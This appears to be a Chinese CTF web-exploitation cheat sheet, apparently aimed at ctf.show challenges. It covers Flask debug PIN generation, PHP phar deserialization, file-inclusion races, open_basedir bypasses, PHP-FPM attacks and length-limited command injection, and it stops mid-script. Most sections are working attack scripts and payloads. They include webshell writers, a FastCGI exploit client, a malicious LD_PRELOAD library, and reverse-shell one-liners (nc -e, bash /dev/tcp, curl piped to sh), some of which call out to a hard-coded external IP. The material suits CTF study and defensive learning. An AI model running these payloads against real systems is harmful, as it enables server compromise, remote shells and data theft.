Flask算PIN

原理

如果python的flask开启了debug调试,通过url/console可以进入控制台,但是需要PIN。

如何算PIN

  • 注意: machine_id所需的三个文件,/etc/machine-id在docker环境下可能不存在
  • 注意:machine_id按理来说需要三个文件的拼接,如果不对尝试只使用单独的文件,例如只用boot_id或者/proc/self/cgroup
  • py3.6和py3.8的生成的PIN是不一样的
    算PIN所需条件

脚本(PYTHON3.8,sha1加密)

import hashlib
from itertools import chain
probably_public_bits = [
    'root'# /etc/passwd ,执行的用户,可以通过/etc/passwd推断
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到,如果环境有文件包含,那么包含空路径可以从报错得到路径
]

private_bits = [
    '2485377583391',#  /sys/class/net/eth0/address ,将读取的结果转为十进制
    'b0253079-fb4b-4235-ad30-f3d64b6c59677b0eda3a642f514185cfaef0c0f0db04576e1cf14e91354220344ce44c794718'
    #  /etc/machine-id (docker环境没有此文件) +  /proc/sys/kernel/random/boot_id + /proc/self/cgroup 可以通过文件包含读取,读取的结果按循序拼接在一起
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

脚本(PYTHON3.6,MD5加密)

#MD5
import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb'# username
     'flask.app',# modname
     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
     '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
     '25214234362297',# str(uuid.getnode()),  /sys/class/net/eth0/address ,将读取的结果转为十进制
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'
     #  /etc/machine-id (docker环境没有此文件) +  /proc/sys/kernel/random/boot_id + /proc/self/cgroup 可以通过文件包含读取,读取的结果按循序拼接在一起
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num

print(rv)

php无字母数字命令执行

原理

通过异或,例如ord(a^b)输出的是3,以此同理,达到无字母数字RCE

  • ('phpinfo')(); 这样是相当于phpinfo();

生成脚本

<?php
$precode=<<<code
\$_=('@'^'!');
\$__=\$_++;
\$___=++\$__;
\$____=++\$___;
\$_____=++\$____;
\$______=++\$_____;
\$_______=++\$______;
\$________=++\$_______;
\$_________=++\$________;
\$__________=++\$_________;
\$___________=++\$__________;
\$____________=++\$___________;
\$_____________=++\$____________;
\$______________=++\$_____________;
\$_______________=++\$______________;
\$________________=++\$_______________;
\$_________________=++\$________________;
\$__________________=++\$_________________;
\$___________________=++\$__________________;
\$____________________=++\$___________________;
\$_____________________=++\$____________________;
\$______________________=++\$_____________________;
\$_______________________=++\$______________________;
\$________________________=++\$_______________________;
\$_________________________=++\$________________________;
\$__________________________=++\$_________________________;
\$_=('@'^'!');
code;

eval($precode);


#使用异或生成任意无字母数字代码
function createCode($code){
    global $precode;
    $ret = "";
    for ($i=0; $i < strlen($code); $i++) { 

        $c = $code[$i];
        if(ord($c)<97 || ord($c)>122){
            $ret .= "$c";
        }else{
            $ret .= '$'.str_repeat('_', ord($c)-96);
        }

        
    }
    return urlencode("$precode(\"".substr($ret,0,stripos($ret, "("))."\")".substr($ret, stripos($ret,"(")));
}


//在这里修改想要执行的代码
echo createCode('system("ls /");');

zip上传phar包含

使用环境

需要有上传点,并且可以上传任意文件。需要有include点,可以用phar协议

#示范题目代码 @ctfshow
<?php
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
    if(file_exists($file.'.txt')){
        include $file.'.txt';
    }else{
        file_put_contents($file,$content);
    }
}

解题

生成phar包,php代码

<?php 
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[a]);?>");
$phar->stopBuffering();
?>

使用python进行请求

import requests
url="http://6812df6b-f717-4eda-ba0e-95b087e887f2.challenge.ctf.show/index.php"
data1={'file':'/tmp/a.phar','content':open('shell.phar','rb').read()}
# 根据题目 file为要上传的文件目录,没有权限可以往tmp里面写,content是文件内容
data2={'file':'phar:///tmp/a.phar/a','content':'123','a':'system("cat f*");'}
#文件包含使用了phar协议,而生成的phar包里面有a.txt,包含之后可以执行eval
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)

phar反序列化

使用原理 & 条件

  • 原理:能使用phar伪协议的地方都能自动触发序列化metadate里面的数据
  • 使用目的:进行反序列化
  • 使用环境:首先要能上传文件,当前的web目录或者/tmp目录,要上传phar包
  • 使用环境:需要能够触发这个文件的函数,并且可控,可使用的函数下面所示
  • 如何使用: 先上传进行反序列化好的phar包,然后找到可控的函数点,对上传的文件路径进行触发,即可触发反序列化
    phar反序列化
    phar反序列化2
    phar反序列化总结

例题

例题代码

<?php
error_reporting(0);
highlight_file(__FILE__);
class hacker
{
    public $code;
    public function __destruct()
    {
        eval($this->code);
    }
}
$file = $_POST['file'];
$content = $_POST['content'];
if (isset($content) && !preg_match('/php|data|ftp/i', $file)) {
    if (file_exists($file)) {
        unlink($file);
        //unlink可以触发phar伪协议的反序列化
    } else {
        file_put_contents($file, $content);
    }
}

先根据题目生成phar包,进行反序列化

<?php 
class hacker{
    public $code;
    public function __destruct(){
        eval($this->code);
    }
}
//需要反序列化的类
$a=new hacker();
//实例化
$a->code="system('cat f*');";
//使用实例化中的code 赋值
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[a]);?>");
$phar->stopBuffering();

然后使用python脚本进行上传

import requests
url = "http://6e1e05f1-8372-4e70-9122-48c5f8175158.challenge.ctf.show/"
data1= {
    "file" : "/tmp/shell.phar",
    "content" : open('shell.phar','rb').read()
}
data2= {
    "file" : "phar:///tmp/shell.phar",
    "content" : "sibei"
}
requests.post(url=url,data=data1)
req = requests.post(url=url,data=data2)
print(req.text)

open_basedir绕过

open_basedir就是文件函数操作的时候,判断操作的文件路径是否在配置文件设定的范围之内

探测目录脚本

/*第一种脚本*/
$a = "glob:///*";
if ( $b = opendir($a) ) {
  while ( ($file = readdir($b)) !== false ) {
    echo $file."\n";
 }
  closedir($b);
}

/*第二种脚本  需要url编码*/
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

姿势一

原理:通过命令,逐级改变目录,搭配上ini_set和eval函数

mkdir("s");
chdir('s');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo file_get_contents("/ctfshowflag");

姿势二

通过蚁剑,通过插件市场来绕过

姿势三,通过P神的脚本

  • 脚本出处: https://www.leavesongs.com/other/bypass-open-basedir-readfile.html
    使用方式,通过GET或者POST传入,搭配eval。但是可能会字符串过长,可以通过远程包含
    例题: eval($_POST[a]); POST传入a=include("https://sirbei.com/1.txt"); 来进行远程包含,然后GET进行url/?file=文件路径进行包含
    P神脚本使用方法
<?php
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for ($i = 1; $i < count($paths) - 1; $i++) {
  mkdir($paths[$i]);
  chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
  chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
  mkdir($name);
  chdir($name);
  $j++;
}
for ($i = 0; $i <= $j; $i++) {
  chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to)
{
  $from = rtrim($from, '\/') . '/';
  $from = str_replace('\\', '/', $from);
  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

    foreach ($from as $depth => $dir) {
        // find first non-matching dir
        if ($dir === $to[$depth]) {
            // ignore this directory
            array_shift($relPath);
        } else {
            // get number of remaining dirs to $from
            $remaining = count($from) - $depth;
            if ($remaining > 1) {
                // add traversals up to first matching dir
                $padLength = (count($relPath) + $remaining - 1) * -1;
                $relPath = array_pad($relPath, $padLength, '..');
                break;
            } else {
                $relPath[0] = './' . $relPath[0];
            }
        }
    }
    return implode('/', $relPath);
}

function delfile($deldir)
{
    if (@is_file($deldir)) {
        @chmod($deldir, 0777);
        return @unlink($deldir);
    } else if (@is_dir($deldir)) {
        if (($mydir = @opendir($deldir)) == NULL) return false;
        while (false !== ($file = @readdir($mydir))) {
            $name = File_Str($deldir . '/' . $file);
            if (($file != '.') && ($file != '..')) {
                delfile($name);
            }
        }
        @closedir($mydir);
        @chmod($deldir, 0777);
        return @rmdir($deldir) ? true : false;
    }
}

function File_Str($string)
{
    return str_replace('//', '/', str_replace('\\', '/', $string));
}

function getRandStr($length = 6)
{
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $randStr = '';
    for ($i = 0; $i < $length; $i++) {
        $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    }
    return $randStr;
}

无参数命令执行

例题代码

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
?>

解题姿势

姿势1: 使用超全局变量当成参数

payload

url/?code=eval(end(current(get_defined_vars())));&b=echo `nl /ctfshowflag`;

原理

  • 通过get_defined_vars获取超全局变量,然后自己传入一个变量作为参数,然后通过end() reset()等来筛选出自己的变量,可以使用var_dump进行调试
  • eval内为参数,通过get_defined_vars()来获取超全局变量,变量的排序为get-post-cookie-files
  • 然后通过以下这些来选中参数,reset()或者current()来获取第一组参数,end获取最后一组参数,next()获取下一个参数,prev()获取上一个元素

姿势2:使用http请求头信息来进行获取参数

payload

url/?code=eval(reset(getallheaders()));
控制 X-Forwarded-For: phpinfo();#

原理

  • 使用getallheaders()获取https请求头信息,但是这些信息是可控的。
  • 通过getallheaders()获取请求头信息,使用var_dump进行调试,直到选中自己所需的
  • 通过以下这些来选中参数,reset()或者current()来获取第一组参数,end获取最后一组参数,next()获取下一个参数,prev()获取上一个元素

反弹shell专题

万能反弹shell

https://your-shell.com/

使用方法

监听机: nc -lvp 12345
反弹机: curl https://your-shell.com/监听机ip:监听机端口 | sh

其他反弹姿势

nc 不同操作系统情况不同

nc ip port -e /bin/sh (alpine)
nc -e /bin/bash ip port
nc -e /bin/sh ip port
nc -c bash ip port

bash

bash -c "bash -i >& /dev/tcp/ip/port 0>&1" (tcp)
sh -i >& /dev/tcp/ip/port 0>&1 (udp)

更多反弹姿势

https://cloud.tencent.com/developer/article/1680591
https://blog.csdn.net/weixin_45751765/article/details/124160978

卡临时文件包含

所需条件

  • 版本: PHP 7.0.x before 7.0.27, 7.1.x before 7.1.13, and 7.2.x before 7.2.1
  • 需要完整的包含点
  • 需要能查看tmp下的文件
  • 对包含文件的点输入代码 php://filter/string.strip_tags/resource=/etc/passwd

原理

PHP可以强制给全局变量或者上传文件,但是只是用不用的问题,php脚本结束后会自动删除PHP的临时文件和变量。
但是PHP7.0存在卡线程代码,那么脚本不会正常退出,就可以让临时文件不删除
只需要强行上传文件,然后卡线程,让临时文件不删除,就可以用文件包含去包含

例题 & 解 (@Ctfshow)

例题

<?php
error_reporting(0);
$file = $_GET['file'];


if(isset($file) && !preg_match("/input|data|phar|log/i",$file)){
    include $file;
}else{
    show_source(__FILE__);
    print_r(scandir("/tmp"));
}

解题代码(python脚本)

import requests

url = "http://f4fa1102-2708-438b-afcf-3f2d9827c108.challenge.ctf.show/?file=php://filter/string.strip_tags/resource=/etc/passwd"

file = {
    "file": open("shell", "r").read()
}
requests.post(url, files=file)

python代码对文件包含点进行了卡线程,同时使用requests.post(file=file)进行了上传文件操作,那上传的文件不会被删除。然后手动包含即可RCE

卡session文件包含

使用条件

  • 可以文件包含

使用目的 & 原理

强行上传文件,把文件上传进度存到里面 ,那么可以通过不停写文件,然后一直尝试去包含,那么就可以会RCE。session文件
假设我有个PHPSESSID,叫sibei,那么临时目录/tmp中,就会有一个文件/tmp/sess_sibei

脚本

import requests
import threading

session = requests.session()
sess = 'ctfshow'
url = "http://1a882837-38a8-4275-a0dc-34df9f88cf88.challenges.ctfer.com:8080/"

data1 = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php echo "success";file_put_contents("/var/www/html/1.php","<?php eval(\\$_POST[1]);?>");?>'
}
file = {
    'file': 'ctfshow'
}
cookies = {
    'PHPSESSID': sess
}


def write():
    while True:
        r = session.post(url, data=data1, files=file, cookies=cookies)


def read():
    while True:
        r = session.get(url + "?file=../../../../../../../tmp/sess_ctfshow")
        if 'success' in r.text:
            print("shell 地址为:" + url + "1.php")
            exit()


threads = [threading.Thread(target=write),
           threading.Thread(target=read)]
for t in threads:
    t.start()

pear文件包含

使用条件

  • 完整的文件包含点
  • php配置文件中需要打开register_argc_argv
  • 需要使用bp发包,因为部分字符可能会被url编码

使用目的

写入文件,以便包含文件,或者直接访问

Payload

在文件包含点使用Payload(可以往tmp写入文件)
/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[a]);?>+/tmp/sibei.php

payload拆解

/usr/local/lib/php/pearcmd.php&+config-create+/要写入的代码+要写入的文件路径

SSRF打php-fpm 9000端口

使用条件

例题 & 解 @ctfshow

例题

<?php
error_reporting(0);
highlight_file(__FILE__);

$url=$_GET['url'];
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,0);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,0);
$res=curl_exec($ch);
curl_close($ch);

使用Gopherus工具
Gopherus
将生成的link填入ssrf入口,注意:如果是GET传参要url二次编码,POST不需要
传参

file_put_contents打PHP-FPM

使用环境

  • file_put_contents有两个参数可控,web目录不可写,并且可以出网
  • 需要一台攻击机用于nc和伪造ftp

使用目的

命令执行

例题 & 解 @ctfshow

题目

<?php
error_reporting(0);
highlight_file(__FILE__);


$file = $_GET['file'];
$content = $_GET['content'];

file_put_contents($file, $content);

攻击机

1. 开启伪造的ftp,python脚本

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 21))
#此处可改端口
s.listen(1)
print('ctfshow FtpEvilServer listening 0.0.0.0 21\n')
conn, addr = s.accept()
conn.send(b'200 c\n')
conn.send(b'200 t\n')
conn.send(b'200 f\n')
conn.send(b'300 s\n')
conn.send(b'200 h\n')
conn.send(b'227 127,0,0,1,0,9000\n')
conn.send(b'150 o\n')
time.sleep(1)
conn.send(b'250 w\n')
conn.close()

2. 开启监听(端口可改) nc -lvp 80

靶机

  • 找到file_put_contents($file,$content)
  • 在$file传入ftp://攻击机ip:攻击机开启的脚本ftp端口/123.txt
  • $content传入Gopherus生成的payload,只需要_后面的
    Gopherus

php-fpm未授权访问

使用环境

  • php-fpm对外监听,即监听ip为0.0.0.0:端口,而不是127.0.0.1:端口

使用目的

命令执行

脚本

python exp.py -c '<?php system("cat /f*");?>' -p "php-fpm的端口号" "目标ip地址或者域名" /usr/local/lib/php/System.php

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])


def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)


def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')


def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
              + bchr(fcgi_type) \
              + bchr((requestid >> 8) & 0xFF) \
              + bchr(requestid & 0xFF) \
              + bchr((length >> 8) & 0xFF) \
              + bchr(length & 0xFF) \
              + bchr(0) \
              + bchr(0) \
              + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''

            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute',
                        default='<?php system("cat /flagfile"); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=28074, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

jpg的图片性木马

特征 & 使用

图片内的马,base64加密,精心构造,不易检测
特定场景可以使用,上传后GET方式对1进行传参,即shell_exec($_GET[1])
base64_shell_jpg.zip

php恶意使用so文件

关于如何生成恶意的so文件

1. 直接使用GCC编译

vim hack.c
gcc -shared -fPIC hack.c -o hack.so

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;

__attribute__ ((__constructor__)) void ctf(void)
{
unsetenv("LD_PRELOAD");
system("nc 121.4.165.70 80 -e /bin/sh");
/*放入你想要的命令*/
}

第一种(已知php扩展目录,并且可以上传文件到php扩展目录,还需要调用自定义函数)

使用条件

  • 总体原理就是:环境需要加载到你上传的so文件
  • 已知php的扩展目录,可在phpinfo内查看extension_dir,可以获得扩展目录
  • 可以上传文件,函数file_put_contents
  • php源码中需要有调用函数(调用的是扩展的C函数,而不是PHP函数)
  • 需要将生成的恶意so文件上传到扩展目录,然后调用函数,例如shell_exec("php -r 'ctfshow();'");

第二种(可以上传文件,可以自定义环境变量,即可以控制putenv函数,执行了可以生成新进程的函数)

使用条件

  • 总体原理就是:环境需要加载到你上传的so文件
  • 可以上传文件
  • 可以自定义环境变量,即可以控制putenv函数, 控制环境变量的点=LD_PRELOAD=恶意so文件
  • 可以执行了生成新进程的函数,即执行了生成新进程的函数,那么环境变量的so文件就会执行
    可以生成新进程的函数

putenv单独利用

破壳漏洞(CVE-2014-6271)

  • 需要完全可控putenv
  • env控制点=hack=() { :; }; 想要执行的命令
  • 例如env=hack=() { :; };ls

借壳生蛋

利用条件

  • 如例题所示,相当于重构whoami函数环境变量,将whoami改为自己要执行的命令
  • ubuntu的sh指向zsh,alpine的sh指向ash无法使用姿势

例题

例题代码

<?php
$env = $_GET['env'];
if(isset($env)){
    putenv($env);
    system("whoami");
}else{
    highlight_file(__FILE__);
}

payload

url/?env=BASH_FUNC_whoami%%=() { whoami;}

不同字符长度下的命令执行

视频:https://www.bilibili.com/video/BV15A4y1f7Yy

七字符限制(Web目录可写)

利用条件

  • 需要能够执行shell命令的函数,例如shell_exec、system等
  • 如果被限制长度在七个字符以内及七个字符可使用

原理

  • >php 可以在shell中可以创建名为php的文件
  • ls -t 可以将当前目录的文件,将创建时间从早到晚的文件依次排列,例如依次创建 php 1. shel ,那么ls -t就是排列为shel 1. php
  • 而ls -t > 0 ,意思就是将排列好的文件写入到0这个文件,例如依次创建 0 \> php 1. shel echo,那么ls -t 的结果就为echo shell.php > 0
  • 如果构造出echo 123456 > 1.php,然后存入到一个文件中,然后执行这个文件,就可以做到命令执行
  • 脚本原理:将要写入的命令,从尾到头依次拆开,利用Linux重定向进行创建文件,然后利用ls -t > 0,将排列好的文件名写入到0这个文件,最后执行这个文件,即可生成shell的php文件

例题

<?php
error_reporting(0);
highlight_file(__FILE__);

$cmd = $_POST['cmd'];

if(strlen($cmd) <= 7){
    shell_exec($cmd);
}

脚本,原理如上所示
构造出的文件为1.php,内容为<?php eval($_GET[1]);

import requests
import time

url = "http://04033e81-1a8b-48dc-94a7-807b519a9d47.challenge.ctf.show/"

payload = [
    ">hp",
    ">1.p\\",
    ">d\\>\\",
    ">\\ -\\",
    ">e64\\",
    ">bas\\",
    ">7\\|\\",
    ">XSk\\",
    ">Fsx\\",
    ">dFV\\",
    ">kX0\\",
    ">bCg\\",
    ">XZh\\",
    ">AgZ\\",
    ">waH\\",
    ">PD9\\",
    ">o\\ \\",
    ">ech\\",
    "ls -t>0",
    ". 0"
]
# 倒序写入字符,然后ls -t > 0 ,以创建文件的时间从早到晚的顺序排列文件,而构造的字符串是最终写入的时候后是:<?php eval($_GET[1]); ,写入到1.php

def writeFile(payload):
    data = {
        "cmd": payload
    }
    requests.post(url, data=data)


def run():
    for p in payload:
        writeFile(p.strip())
        print("[*] create " + p.strip())
        time.sleep(1)


def check():
    response = requests.get(url + "1.php")
    if response.status_code == requests.codes.ok:
        print("[*] Attack success!!!Webshell is " + url + "1.php")


def main():
    run()
    check()


if __name__ == '__main__':
    main()

七字符限制(Web目录不可写)

思路

  • 需要能够执行shell命令,需要shell_exec或者system或者eval之类的
  • web目录不可写,可以往tmp目录写,先强制上传,文件会临时存放在/tmp目录,然后. /t*/* ,执行/tmp目录下的所有文件

例题 & 脚本

例题 @ctfshow

<?php
#flag in database;
error_reporting(0);
highlight_file(__FILE__);

$cmd = $_POST['cmd'];

if(strlen($cmd) <= 7){
    shell_exec($cmd);
}

脚本思路:对POST点强制上传文件,存到/tmp目录下,然后执行. /t*/* 执行/tmp目录下的所有文件

import requests

url = "http://aa4b47ee-a973-463b-9321-94e4039ae6af.challenge.ctf.show/"

files = {
    "cmd": b"#!/bin/sh\nnc 121.4.165.70 80 -e /bin/sh"
}
data = {
    "cmd": ". /t*/*"
}

requests.post(url, data=data,files=files)

命令执行,或 异或 取反 自增脚本

例题

<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
    die('hacker');
}
eval($code);

或运算生成脚本

如何使用

将对应的代码丢进对应的文件,放到同一个文件夹。然后php [你的php文件],然后python [你的Py文件]

脚本

<?php
/* php脚本*/
/* author yu22x */

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
